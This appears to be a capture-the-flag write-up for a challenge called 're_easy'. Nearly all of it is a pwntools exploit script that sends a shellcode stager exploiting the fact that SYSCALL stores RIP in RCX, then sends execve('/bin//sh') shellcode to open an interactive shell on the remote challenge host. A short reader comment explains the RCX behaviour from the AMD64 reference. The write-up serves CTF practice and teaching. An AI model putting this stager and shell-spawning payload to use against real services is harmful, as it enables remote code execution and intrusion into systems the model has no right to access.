Rating: 5.0

~~~~
from pwn import *

r = process('./re_easy')
r = remote('13.112.180.65', 8361)
#r = remote('127.0.0.1', 8333)
context.arch = 'amd64'

###
# The key point is that:
# syscall `read` will set rcx to be rip
# Reason is unknown...
###

payload = asm("""
l: syscall
mov dl, 0x40
push rcx
pop rsi
jmp l
""")

r.send(payload)

payload = asm("""
xor rax, rax
push rax
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
""")

r.send(payload)

r.interactive()
~~~~

bennofsNov. 7, 2017, 8:16 p.m.

The reason why `syscall read` sets RCX to RIP is that the AMD64 instruction reference specifies:

> In 64-bit mode, SYSCALL *saves the RIP of the instruction following the SYSCALL* into RCX and loads the new RIP from LSTAR bits 63:0. (The LSTAR register is model-specific register C000_0082h.)